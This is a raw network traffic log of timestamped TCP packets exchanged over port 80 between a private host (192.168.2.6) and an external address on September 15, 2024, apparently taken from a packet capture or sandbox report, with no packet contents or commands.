Sep 15, 2024 19:37:44.491569996 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.491602898 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.491631031 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.491636992 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.491657972 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.491800070 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.579253912 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.579371929 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.579399109 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.579435110 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.579467058 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.579483032 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.579483032 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.579502106 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.579521894 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.579535007 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.579570055 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.579583883 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.579583883 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.579634905 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.579643965 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.579698086 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.579709053 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.579761028 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.579794884 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.579794884 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.579818964 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.579828978 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.579863071 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.579921961 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.579953909 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.579972982 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.579972982 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.579989910 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.580044031 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.580044031 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.580692053 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.580743074 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.580759048 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.580790997 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.580825090 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.580841064 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.580841064 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.580858946 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.580900908 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.580903053 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.580903053 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.580934048 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.580956936 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.581005096 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.581598043 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.581629992 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.581654072 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.581665039 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.581708908 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.581708908 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.581743956 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.581774950 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.581798077 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.581808090 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.581823111 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.581842899 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.581862926 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.581902027 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.582547903 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.582583904 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.582609892 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.582619905 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.582648039 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.582664967 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.582664967 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.582710981 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.669687986 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.669749022 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.669759989 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.669799089 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.669800997 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.669832945 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.669842958 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.669878960 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.669883013 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.669899940 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.669918060 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.669950962 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.670015097 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.670015097 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.670088053 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.670100927 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.670121908 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.670155048 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.670166969 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.670166969 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.670188904 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.670212984 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.670222044 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.670250893 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.670260906 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.670285940 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.670300007 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.670757055 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.670815945 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.670839071 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.670866966 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.670893908 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.670903921 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.670934916 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.670937061 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.670953035 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.670970917 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.671015024 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.671049118 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.671055079 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.671060085 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.671066999 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.671088934 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.671123981 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.671150923 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.671150923 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.671201944 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.671540022 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.671592951 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.671626091 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.671650887 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.671650887 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.671665907 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.671730042 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.671762943 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.671796083 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.671814919 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.671814919 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.671829939 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.671879053 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.671879053 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.671957970 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.671991110 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.672024965 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.672077894 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.672079086 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.672079086 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.672421932 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.672473907 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.672508001 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.672518969 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.672518969 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.672563076 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.672590971 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.672622919 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.672637939 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.672657013 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.672689915 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.672760963 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.672770977 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.672802925 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.672837973 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.672882080 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.672882080 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.672882080 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.672892094 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.672892094 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.673422098 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.673435926 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.673450947 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.673507929 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.673507929 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.673532009 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.673547029 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.673563004 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.673614979 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.673660994 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.760510921 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.760588884 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.760627031 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.760660887 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.760696888 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.760711908 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.760711908 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.760711908 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.760711908 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.760731936 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.760751963 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.760766029 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.760798931 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.760817051 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.760817051 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.760835886 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.760865927 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.760893106 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.760893106 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.760945082 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.760978937 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.760993958 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.761014938 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.761019945 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.761019945 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.761055946 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.761079073 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.761099100 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.761121035 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.761132956 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.761167049 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.761187077 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.761187077 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.761198997 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.761230946 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.761248112 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.761248112 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.761262894 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.761296034 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.761307955 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.761307955 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.761329889 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.761363029 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.761367083 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.761367083 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.761395931 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.761416912 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.761430025 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.761450052 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.761464119 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.761513948 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.761513948 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.762212992 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.762248039 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.762293100 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.762293100 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.762300968 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.762334108 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.762367010 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.762370110 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.762408972 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.762425900 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.762455940 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.762490034 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.762515068 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.762523890 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.762558937 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.762572050 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.762572050 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.762617111 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.762665987 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.762665987 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.762666941 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.762701035 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.762733936 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.762753010 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.762753010 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.762767076 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.762792110 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.762799978 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.762819052 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.762831926 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.762865067 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.762875080 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.762875080 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.762898922 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.762953043 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.762953043 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.763022900 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.763056993 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.763089895 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.763103962 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.763103962 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.763170004 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.763204098 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.763221979 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.763221979 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.763254881 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.763288021 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.763307095 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.763307095 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.763319969 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.763353109 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.763371944 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.763371944 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.763411045 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.763412952 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.763451099 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.763484001 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.763503075 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.763503075 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.763514996 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.763534069 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.763540030 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.763567924 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.763623953 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.763801098 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.763816118 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.763829947 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.763844967 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.763860941 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.763870955 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.763870955 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.763875008 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.763884068 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.763899088 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.763914108 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.763917923 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.763917923 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.763928890 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.763946056 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.763962030 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.763971090 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.763971090 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.764000893 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.764053106 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.764226913 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.764242887 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.764257908 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.764272928 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.764297962 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.764297962 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.764363050 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.764379025 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.764394045 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.764410019 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.764425039 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.764425039 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.764456987 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.764456987 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.850150108 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.850199938 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.850260019 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.850300074 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.850303888 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.850336075 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.850347996 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.850389004 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.850389004 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.850434065 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.850487947 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.850500107 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.850500107 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.850538969 CEST	80	49758	147.45.44.104	192.168.2.6
